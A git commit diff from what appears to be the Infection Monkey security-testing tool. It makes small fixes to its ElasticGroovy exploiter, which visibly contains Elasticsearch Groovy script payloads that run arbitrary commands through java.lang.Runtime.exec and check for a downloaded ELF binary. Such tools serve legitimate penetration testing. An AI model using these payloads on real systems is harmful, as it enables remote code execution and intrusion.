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Fix edge case in ElasticGroovy

This commit is contained in:
Daniel Goldberg 2018-04-02 17:19:45 +03:00
parent 99b22cfa56
commit f1bbb255cd
1 changed files with 5 additions and 5 deletions
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10
infection_monkey/exploit/elasticgroovy.py
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@ -25,11 +25,11 @@ class ElasticGroovyExploiter(HostExploiter):
MONKEY_RESULT_FIELD = "monkey_result"
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
JAVA_GET_TMP_DIR =\
JAVA_GET_TMP_DIR = \
GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
JAVA_CMD = GENERIC_QUERY \
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
@ -139,8 +139,8 @@ class ElasticGroovyExploiter(HostExploiter):
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
if (http_thread.downloads != 1) or (
'ELF' not in
self.check_if_remote_file_exists_linux(target_path)):
'ELF' not in
self.check_if_remote_file_exists_linux(target_path)):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
return False
return True
@ -232,5 +232,5 @@ class ElasticGroovyExploiter(HostExploiter):
try:
json_resp = json.loads(response.text)
return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
except KeyError:
except (KeyError, IndexError):
return None